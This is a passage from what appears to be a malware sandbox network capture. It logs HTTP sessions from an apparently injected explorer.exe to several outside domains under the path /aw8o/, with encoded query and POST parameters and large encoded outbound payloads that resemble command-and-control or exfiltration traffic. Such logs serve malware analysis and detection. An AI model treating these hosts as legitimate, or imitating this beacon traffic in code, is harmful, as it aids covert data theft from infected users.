39 53 39 33 58 6e 53 67 38 69 75 4a 35 45 64 66 66 74 73 44 56 57 36 75 42 58 54 35 54 31 57 50 74 34 62 7a 74 2f 51 44 42 6a 4b 6f 2b 72 44 4b 36 51 68 49 4e 38 5a 6d 32 53 55 6e 4d 66 36 62 48 68 51 36 64 44 69 73 5a 68 4d 35 61 47 73 65 44 7a 35 53 43 41 45 5a 63 5a 35 6f 62 73 6a 34 48 41 6b 54 48 30 35 33 4c 78 79 32 6a 56 6f 36 6f 69 33 6d 61 52 6c 64 53 77 37 6a 48 6f 6c 64 34 6a 78 65 61 4f 4d 31 47 55 41 30 31 68 6b 31 41 35 68 2b 36 34 36 4d 71 79 4b 65 77 6e 76 34 68 59 70 6f 59 74 70 5a 6d 4d 6b 4f 39 5a 36 33 34 64 4c 2f 75 63 6c 73 72 68 65 48 54 34 5a 41 4c 71 4c 43 7a 41 6c 75 42 52 75 77 31 6d 2f 53 4c 4d 48 45 78 76 74 2b 44 57 32 4f 63 43 6a 6a 5a 4c 79 6f 65 77 41 45 34 72 71 53 53 38 57 5a 42 31 46 78 34 64 63 64 4a 48 53 57 42 64 56 67 33 59 58 7a 75 43 6b 73 69 52 70 54 58 32 4c 62 52 73 4c 2f 61 75 37 62 7a 39 4f 57 65 73 6c 39 7a 35 47 79 35 71 56 71 52 4a 52 49 70 68 76 68 42 66 46 51 41 69 43 53 2b 4b 46 4d 72 6f 36 69 43 4d 30 4d 55 62 43 42 31 51 41 67 5a 48 48 48 4c 6b 46 30 38 7a 62 43 42 6d 6f 63 4b 68 72 68 30 66 6d 42 6b 6c 4c 64 54 37 65 76 52 73 4b 39 4c 32 65 52 54 76 6c 2b 48 76 32 58 36 47 4e 4b 6f 7a 62 36 46 38 6b 75 7a 2b 41 6c 6f 31 79 42 48 37 76 4c 51 4a 41 71 51 4d 4a 64 56 31 72 61 32 67 68 69 55 37 41 4f 61 42 7a 4b 71 77 62 4f 41 54 77 58 6b 68 4f 59 72 48 65 51 68 55 65 50 62 77 37 56 58 55 79 36 48 37 41 48 71 68 74 41 55 49 32 41 39 44 78 39 75 77 69 2f 6d 46 38 2f 69 78 68 45 64 38 55 52 53 72 6a 4e 45 69 65 45 59 74 38 44 4e 78 33 73 75 31 73 41 76 31 58 38 70 54 79 31 72 4d 56 72 69 73 38 55 56 74 33 5a 59 49 75 6f 46 52 5a 64 6a 55 4e 63 6b 42 36 75 30 49 34 4c 43 38 39 45 65 69 54 31 2b 51 36 37 79 52 44 32 49 71 58 32 72 6e 4a 72 78 72 47 6d 2f 66 50 33 5a 35 37 70 54 7a 55 36 33 6d 43 37 61 47 35 47 2f 72 64 75 56 4e 51 33 31 6b 6c 77 71 6d 2f 77 4d 66 46 54 66 5a 55 6f 56 61 2f 68 33 47 33 66 74 56 6d 67 63 31 6e 4a 6d 47 2b 32 37 63 54 42 61 42 68 70 6a 6b 7a 67 46 50 45 4d 6d 79 43 6e 38 76 6b 4b 63 6c 72 53 63 68 66 73 74 6d 2b 4c 6c 4d 6c 74 6d 55 66 48 39 42 48 4c 31 46 44 42 4e 57 6e 7a 4f 76 51 50 70 31 75 77 72 64 30 34 31 67 77 50 74 5a 63 39 4f 61 35 6d 46 4a 54 47 6d 79 7a 74 4d 4f 71 36 35 6c 72 61 4d 50 39 76 57 4c 66 53 7a 30 63 4c 57 73 74 55 44 75 49 58 44 46 72 6b 7a 2f 4d 43 56 30 70 65 38 6d 4c 74 50 2f 6f 49 76 66 62 34 62 57 7a 4c 38 75 64 57 33 65 4e 4d 4c 6e 36 6f 70 72 35 72 75 74 34 73 39 64 59 4d 50 4b 58 43 33 71 33 50 57 56 56 53 4e 73 6d 42 2b 49 58 6a 32 4c 6c 70 49 61 79 42 71 45 65 49 48 76 41 2f 75 56 4e 74 67 55 4e 41 71 4d 71 78 6f 38 65 71 6e 33 74 61 77 39 49 75 50 79 68 2b 38 6b 62 48 79 63 47 4e 57 30 47 42 6b 49 7a 63 6b 2f 68 42 65 31 72 57 42 36 31 58 52 75 38 57 6c 64 6e 41 6f 2f 41 73 67 2b 56 2b 78 4a 69 32 39 4c 6b 48 61 37 6c 2f 33 4b 46 31 62 65 4c 6a 66 4f 47 6c 44 59 64 61 56 6f 73 73 64 67 41 51 4d 64 33 6e 73 57 46 4a 55 6d 47 4b 44 48 58 79 4d 74 59 68 7a 73 42 55 4c 61 6e 41 2b 6e 37 77 76 62 38 2f 72 62 57 55 66 2b 70 41 56 62 64 51 64 30 6c 30 6d 71 46 63 36 4e 74 31 73 42 68 6d 30 56 4e 44 6a 33 43 34 38 5a 4f 41 70 2f 62 44 4e 63 41 50 2b 63 63 61 43 66 36 4a 37 70 2b 50 43 Data Ascii: 5Nag0d=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
Aug 29, 2023 22:47:18.452208042 CEST	1892	OUT	Data Raw: 41 45 66 79 39 6d 4d 57 53 45 78 4c 71 32 45 66 31 5a 4d 77 68 61 59 77 4a 70 54 6c 49 57 42 76 57 73 73 64 39 43 63 72 2f 38 63 50 72 47 4b 77 36 79 77 61 72 72 2f 4d 69 67 52 4c 71 67 6d 31 53 76 71 5a 31 66 36 2b 4d 53 65 39 36 67 31 2f 57 4f Data Ascii: AEfy9mMWSExLq2Ef1ZMwhaYwJpTlIWBvWssd9Ccr/8cPrGKw6ywarr/MigRLqgm1SvqZ1f6+MSe96g1/WOcWdOe7FcJ8DSE6VTKF4TmDn/ZM7ISqMg2MsbLxOqXhPPG0rpmljI5LPzCfP662K0Kdj5B1wg1g4p3IsnoSpJsdLCD6smS+R0qfOQYvpAPQfdIs6pURwMtPHsW25Nidyd9wN7rLhxwZTNbU2nBWHYgc/8kaaki3JxN
Aug 29, 2023 22:47:18.452263117 CEST	1895	OUT	Data Raw: 46 6a 42 47 36 78 54 5a 35 71 67 35 49 49 61 38 71 73 69 6a 43 68 7a 35 31 2f 67 4c 51 4a 43 48 43 4a 43 6e 6c 73 42 57 69 47 77 50 49 4f 77 4d 4e 62 4e 4a 34 6c 70 63 69 34 59 4f 4d 6e 57 74 5a 4c 48 53 4e 54 79 52 58 68 71 78 76 7a 44 75 6f 6d Data Ascii: FjBG6xTZ5qg5IIa8qsijChz51/gLQJCHCJCnlsBWiGwPIOwMNbNJ4lpci4YOMnWtZLHSNTyRXhqxvzDuomgbbVjXse6/BobomKHSeuKM8hvLV7O50fB9Twc8DkWlCCFKTVAV9NQTlyrWdwG2pEvUzjFtoCwryh95mfI3JJF7w3OrCCCYxKDTAY4qdNID7BLzD9p7FiHFwxyZJQDXl4w5sc2yKCWjuxeh5NG3S2nWkJNoyMyEbqe
Aug 29, 2023 22:47:18.463577986 CEST	1896	OUT	Data Raw: 4f 4d 39 47 41 67 71 6f 62 53 49 4c 65 34 6d 65 47 54 4f 36 71 6f 4e 55 2f 6f 55 6e 4d 6b 6f 46 2f 68 66 42 78 74 5a 6b 2b 30 45 47 57 2f 57 6c 68 6c 6f 68 47 52 37 33 4e 73 55 33 65 6d 56 41 51 52 73 32 4e 77 4f 6e 58 65 56 66 56 41 50 2b 64 34 Data Ascii: OM9GAgqobSILe4meGTO6qoNU/oUnMkoF/hfBxtZk+0EGW/WlhlohGR73NsU3emVAQRs2NwOnXeVfVAP+d4fszYmhK9Cq6nzj+fEzEpgpTuXuafJjacExWwL1IUJysxbuNuQm1Zobwqtvz4xcbqQDrWTFE/m9gcgM4w3gqpFIXkC3iGtpD2Y8ogczRQTNRfhOhHL4+RgfWfMcLdwGjQVScsBOZ8yBfv3sjNfPMNLnz4dLMhszViQ
Aug 29, 2023 22:47:18.463756084 CEST	1914	OUT	Data Raw: 36 61 44 34 7a 44 71 4d 5a 70 6f 4d 41 6c 55 45 33 6b 34 55 76 41 64 5a 43 62 69 66 59 48 54 58 7a 58 6d 2b 59 66 67 47 7a 65 43 4c 49 75 66 67 33 59 4c 46 79 7a 4b 4c 76 74 37 50 64 6f 49 69 6f 4a 2f 71 76 49 6c 34 62 6b 50 4d 79 47 31 69 4a 55 Data Ascii: 6aD4zDqMZpoMAlUE3k4UvAdZCbifYHTXzXm+YfgGzeCLIufg3YLFyzKLvt7PdoIioJ/qvIl4bkPMyG1iJU/LTfwks3c8F60n9PTtpfD3xO5cKAvwkWA1rdYIKGsHU1KNQp9DrfVEnpUuFzPjBVeuBOQDwb6cWc89FmKP787EK1vCsWJW5SU+kjjKBUnVDPjFk82455+WAbPjlKE54f0Do6N4Mgfe7N8lXH6w1vmT/zbsJD/o+xv
Aug 29, 2023 22:47:18.463855982 CEST	1917	OUT	Data Raw: 49 6a 30 61 36 6f 30 2f 4e 4a 77 47 68 4c 31 66 32 54 49 6f 30 6b 51 2f 30 7a 49 38 7a 4e 38 5a 35 70 4e 76 46 2b 65 75 38 7a 30 68 54 46 58 46 42 62 37 57 52 6e 4b 79 56 68 68 77 5a 2b 30 49 6b 4c 55 77 73 6b 31 56 63 30 39 39 64 75 39 57 72 31 Data Ascii: Ij0a6o0/NJwGhL1f2TIo0kQ/0zI8zN8Z5pNvF+eu8z0hTFXFBb7WRnKyVhhwZ+0IkLUwsk1Vc099du9Wr1CoMqIzgLD7nySrXtd67qKm4u0gCbDfCdv6nd8JqMy5IBMieQsU7Qm0zxilVOpltJ1lPFi8c8Gu/FEM1CcZ1/TKTE9Brewj52BQedhd1qTT8XVoZAmvM8YzdDgfbCiICgjzn5pJmiXyjYjurDKi973UYFB9PIOZ54U
Aug 29, 2023 22:47:18.464056015 CEST	1920	OUT	Data Raw: 31 64 75 41 63 31 4e 75 57 69 67 34 59 49 38 72 39 58 36 37 6b 48 33 66 41 6b 2f 7a 62 4b 35 63 59 78 6d 32 78 49 74 38 50 7a 50 73 57 32 6b 52 6b 77 74 4a 75 42 53 33 50 42 2f 65 63 61 68 2f 42 55 53 4d 44 63 73 51 43 44 56 62 38 33 4a 4b 68 31 Data Ascii: 1duAc1NuWig4YI8r9X67kH3fAk/zbK5cYxm2xIt8PzPsW2kRkwtJuBS3PB/ecah/BUSMDcsQCDVb83JKh1gFle+zwMx0GQ/HLaXAN4epv+wVk4GYmyOw16UlfIi5t7HZn5Hv7ACloBDuYCmx0Pnb2GOH36yBNQX+XPdy6h1/j3rqzhcs7cW7SDClyWGUxUs0Awgzk8VD29IgsAQOzbQUlxVvbOzxzL6nzUtxGJSTKRKZzmuVv9T
Aug 29, 2023 22:47:18.475194931 CEST	1923	OUT	Data Raw: 4c 43 37 56 5a 43 30 74 46 30 69 6c 36 2b 41 4f 48 4c 32 30 33 6f 7a 48 6f 69 37 65 69 35 57 55 34 64 77 39 36 56 52 4f 56 6b 62 5a 62 54 78 71 4b 6c 34 69 63 6f 4c 4f 6f 68 77 78 39 61 41 49 68 30 48 66 6a 39 57 61 46 42 74 46 57 48 64 47 48 75 Data Ascii: LC7VZC0tF0il6+AOHL203ozHoi7ei5WU4dw96VROVkbZbTxqKl4icoLOohwx9aAIh0Hfj9WaFBtFWHdGHuVf29hoyj4nvg+ibM0GxnqrVV/mXdZ+/G47n5hLzI9ZFW16E3ZN80ucPSK250/8nOkToaHlRbXTBq8k9jVSAkfBQ/s8+42/tmvVAYpam/RZpttmCdj1JRadEtzNrHbtdrXx5Y2Gx5jzGKFF42k/kSQeQQ/CnZTVPEh
Aug 29, 2023 22:47:18.475302935 CEST	1935	OUT	Data Raw: 57 6f 36 4f 41 46 51 75 53 41 33 43 68 51 74 52 6c 6f 2f 68 34 46 2f 48 4b 47 72 43 35 6b 50 56 39 45 64 6e 34 4a 61 6a 30 30 62 32 62 68 50 46 6f 4e 71 48 79 6a 58 66 48 7a 71 71 69 57 46 7a 58 77 30 32 75 77 41 65 55 5a 2f 75 30 39 67 4e 44 73 Data Ascii: Wo6OAFQuSA3ChQtRlo/h4F/HKGrC5kPV9Edn4Jaj00b2bhPFoNqHyjXfHzqqiWFzXw02uwAeUZ/u09gNDsLmVGIp7XHQBZ1EJLA9psovo3J9P520FZJQl4jOHHb2kwTI9j/YTJRQdL5Fg9AhReVxLLASXlEt3TJF7viTFNbBpl3K71FNT5OizmyzKDcYH8lWZSGmyydpZXN65bQrJ2lZ6nkgZN0GYndTJ4WzreTPSMcV0ZhKGcT
Aug 29, 2023 22:47:18.487477064 CEST	1936	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:47:18 GMT Server: Apache/2.4.57 (Unix) Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.11.20	50032	81.169.145.171	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:47:20.982484102 CEST	1937	OUT	GET /aw8o/?5Nag0d=Bu9rsUfFrBNfdaibVYtFW7S0SScHak4IRqr9Sy3ot/y8SYQ9wjnqOPBPIX/s5SgZ07pg2XMnJ2Em61db8UciwuXjbw/TIizi5g==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.wobita.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:47:20.994658947 CEST	1938	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:47:20 GMT Server: Apache/2.4.57 (Unix) Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.11.20	50037	157.7.107.119	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:10.466268063 CEST	1954	OUT	POST /aw8o/ HTTP/1.1 Host: www.ishikorori.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ishikorori.com Referer: http://www.ishikorori.com/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 65 54 54 76 52 54 2f 38 6d 69 59 38 6e 47 54 50 4c 47 55 78 42 4d 4a 54 30 55 77 35 77 4f 51 65 31 4f 68 6e 30 6e 33 38 77 51 4b 6d 6f 62 77 74 6d 34 53 59 6d 74 47 55 50 32 57 2b 71 5a 58 45 42 58 47 63 4a 59 34 73 4f 65 30 6e 56 47 73 78 2f 46 72 38 4d 59 39 4a 44 52 4c 4a 42 42 4d 48 42 61 71 76 46 71 6f 66 43 48 7a 64 63 38 45 4d 55 55 63 52 56 48 4d 6c 6f 42 4c 67 56 54 76 7a 77 7a 67 57 71 63 49 61 4b 46 4f 48 2f 62 74 39 4c 77 7a 48 39 56 2f 6d 6d 34 66 4b 4e 6b 6a 70 69 2b 49 65 65 69 4a 59 79 69 37 69 51 71 30 63 66 41 3d 3d Data Ascii: 5Nag0d=eTTvRT/8miY8nGTPLGUxBMJT0Uw5wOQe1Ohn0n38wQKmobwtm4SYmtGUP2W+qZXEBXGcJY4sOe0nVGsx/Fr8MY9JDRLJBBMHBaqvFqofCHzdc8EMUUcRVHMloBLgVTvzwzgWqcIaKFOH/bt9LwzH9V/mm4fKNkjpi+IeeiJYyi7iQq0cfA==
Aug 29, 2023 22:49:10.806478024 CEST	1955	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:49:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: LiteSpeed x-powered-by: PHP/8.2.9 x-litespeed-tag: 711_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://ishikorori.com/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache content-encoding: br vary: Accept-Encoding x-turbo-charged-by: LiteSpeed Data Raw: 33 62 30 0d 0a f4 ff 1b 18 89 b0 a6 f5 00 68 84 0e 9f f3 fe 5f 55 fb be 77 53 e1 58 67 56 d6 2c 00 01 60 10 45 3e 7b c3 8f b9 4a 73 2e 2f 2e 29 8c 41 82 03 40 a6 b4 7a fa 21 e4 2e 16 e5 6b 7f d7 f9 47 ff 3f 7f ff 99 b9 ed 20 9b 20 b7 83 90 50 4b df 14 3a 03 0e 95 8d 1d dd aa ba 41 4b dd 81 68 48 32 88 06 00 aa f6 de 67 9f 7e 74 9f 08 5a dc 02 1a ec 19 96 0c 00 91 33 4a e2 81 36 43 e8 95 3b 09 de cf 14 84 4e c2 b1 31 d4 be fd b9 8c 1e 08 38 62 1b 47 6d 0c f5 bf e3 cf e4 8d ed 81 a8 89 87 c5 0e ab de 96 5f f0 fc c7 60 6b af 81 ac ac a3 5b aa 74 4b 30 b1 e8 9f b7 79 f8 ea 94 27 3f 7b d5 b7 7e 7e fc 0c 8f 2f 0f b6 f7 c0 af 26 ca 2b e4 ff 9c 13 e5 e7 c7 73 1e 44 f3 f8 a2 ab 66 26 a7 3d 32 d2 fa 4f 5f 79 26 7a 23 ce ba 78 ff 65 45 42 f0 f4 ac a5 e2 2c f4 6b c5 e0 f2 73 67 ee 08 be 49 e3 ab 76 ab b2 2f 5b fe ae c4 7a a2 59 d8 b0 ce 63 04 4b e1 ff c6 43 88 13 64 61 29 13 66 17 66 9c 3f 76 26 4f cb 29 cc f4 3c 87 c7 97 87 87 07 c6 1e 18 63 ac eb fc ff 0d 3f e6 43 0f 9e 25 97 89 65 18 d9 d3 98 61 94 9f d3 8e 09 f6 63 21 8c 9e 58 46 f2 32 21 5e 3e 4e a6 3e fe 57 d9 98 12 e0 62 9c 57 ad eb 2a c7 a7 3b 65 18 e7 61 7a 5a bc dd 01 fe 24 63 86 71 ff 39 7d c7 d9 e7 1f 13 e6 87 cb 1f ff e9 5f f8 e9 ef ff cc 2f 3d be 7c b5 47 1c e1 8b c3 4d 18 5b cf fd 27 b2 90 e1 a7 e1 4a 51 ed 9d f3 5b 7c fd 35 fb d5 5f ef 02 cd b6 f0 b6 63 86 f1 69 77 0b fd 36 72 39 a7 d3 93 c9 5c b5 eb ee ef 93 e7 7f cd ed e7 b4 e5 6c a6 95 fd 30 64 7a da ed ba 07 2f 9f 03 86 79 70 e3 96 b3 6d 04 2e db ee 48 77 d1 b8 fa 81 31 21 5f fe f0 f0 7c f5 12 e9 20 9e c7 31 3b 27 b1 f0 fd 97 66 3c 49 f4 7c f9 ca bb f9 95 45 f2 cf 8f 5e d7 3c 8e b2 bc e5 a3 78 f7 f2 08 75 4a 64 be df d0 d7 c1 67 b8 b0 74 9f c3 e2 50 fe c9 46 3b 7f 4e 12 7d 38 db c1 43 a4 c7 b7 5c 60 24 b0 46 34 57 a6 6b f6 e1 c6 ab f1 f9 e5 6c 92 a3 b4 e1 dc 7b 1a 9d e2 d1 94 33 e5 c8 dd ff 79 41 ae ee 48 b0 cc 4c 56 d3 dd 2a 03 4b 23 0b 57 61 22 e1 ba 01 3e 50 43 98 73 62 a0 7e ef 2d d8 d8 5f e9 53 92 5f ce 30 e7 44 f1 ed a9 0d 1f f1 5c 27 39 46 78 83 0c e9 ed 41 68 67 69 99 1f 88 bc ba 69 c4 7a 4e 7f 4e 96 bc 7b 8b b6 f0 5b b8 09 46 4a 62 20 99 92 17 2e 8f 3e 4c f0 03 d3 6c 87 da 3d 36 2e cc 12 e7 26 93 5c 15 48 12 23 cf 6d 27 a7 90 4e 6e 0a e1 6f 80 c9 cb 89 2e b7 21 43 6e f7 88 f6 f1 98 5b f0 08 f4 ad f7 dd ac 90 3f b2 9f 8f e4 03 d8 c2 e2 ef c0 07 b0 8f 0c d2 f3 e3 10 e6 3c de f2 7b 0f 61 ce fb 35 0c 43 74 7f Data Ascii: 3b0h_UwSXgV,`E>{Js./.)A@z!.kG? PK:AKhH2g~tZ3J6C;N18bGm_`k[tK0y'?{~~/&+sDf&=2O_y&z#xeEB,ksgIv/[zYcKCda)ff?v&O)<c?C%eac!XF2!^>N>WbW;eazZ$cq9}_/=\|GM['JQ[\|5_ciw6r9\l0dz/ypm.Hw1!_\| 1;'f<I\|E^<xuJdgtPF;N}8C\`$F4Wkl{3yAHLVK#Wa">PCsb~-_S_0D\'9FxAhgiizNN{[FJb .>Ll=6.&\H#m'Nno.!Cn[?<{a5Ct
Aug 29, 2023 22:49:10.806536913 CEST	1955	IN	Data Raw: e3 53 ce 4b bb df bb 74 72 af 21 86 e8 4a e3 ab d6 45 d4 0f 5a b5 f4 37 c6 80 21 cc 62 82 94 29 ee 57 ea 53 e0 27 df 3b 0c 53 08 f3 de e5 62 49 e4 b5 18 43 4a e3 ca 3a 19 7c 3e 98 c7 cf fb 10 e6 0c 2b a5 30 d1 de f5 12 e1 75 e2 f8 53 35 df 79 7b Data Ascii: SKtr!JEZ7!b)WS';SbICJ:\|>+0uS5y{.A*^JU_f?s?\|;1~Pzm}i[v;%acvWo^/
Aug 29, 2023 22:49:10.806592941 CEST	1956	IN	Data Raw: 31 36 61 30 0d 0a b9 1f fb f9 22 7f 82 1a 6b c4 6b 72 dd be 1d 78 bb f9 d1 bf 50 99 fd 3a 4c cc f7 e0 6a 4c 05 82 77 3e 47 cf 5b ab e3 21 8d 9d 45 a9 ca 3d bf 93 50 82 20 21 95 f7 b7 b5 c4 03 d3 29 e4 a5 bc 72 6e 69 35 3f 12 c1 07 fb 80 20 a2 a7 Data Ascii: 16a0"kkrxP:LjLw>G[!E=P !)rni5? ~ICOk.~k%k8})hT/"Dk.$FWDhl _=#me:cim[*kO?7{{{
Aug 29, 2023 22:49:10.806729078 CEST	1958	IN	Data Raw: 5c 9b a3 4a 3f 33 a5 e2 5a d7 dc 54 1a 1c 96 58 f7 21 92 fb 01 09 b1 3c bd 73 d8 32 5d 2c 17 8f e7 f1 44 d6 9d a7 96 19 f5 38 b5 82 9c 75 cb 8a fa ed e4 e5 f9 3b 2e 4d eb 72 f0 fc 12 c2 a8 96 29 59 96 91 a6 8f 2f 2d be ab f5 e1 e9 96 aa 65 1a e6 Data Ascii: \J?3ZTX!<s2],D8u;.Mr)Y/-eVeZVuZf9TY4/TZVIU8'ab}oer}q\*HC(kY.R\|\:A\_hSLQ<TgqV1A{%pEnBfgYz6jY
Aug 29, 2023 22:49:10.806788921 CEST	1959	IN	Data Raw: 62 da 71 b7 9e 39 a6 e9 1e e4 93 69 96 51 b6 3c 13 cb 4c b3 b8 ce 3d d3 c0 b7 1b 19 64 b7 f9 4e 93 d1 63 71 49 7b 9d 4a 54 66 af 69 e8 11 4e 9b b6 46 98 6e da 51 eb 53 0c fc 37 4d ff 5d 2d 2b 4e b3 cf d6 3d 57 4e 33 7c 98 41 a7 c9 18 c0 44 59 fb Data Ascii: bq9iQ<L=dNcqI{JTfiNFnQS7M]-+N=WN3\|ADY]vQRvS<v;(n0O35yG;ytI(#jez[b}zO[Yye=B]jWNz 6_f.C
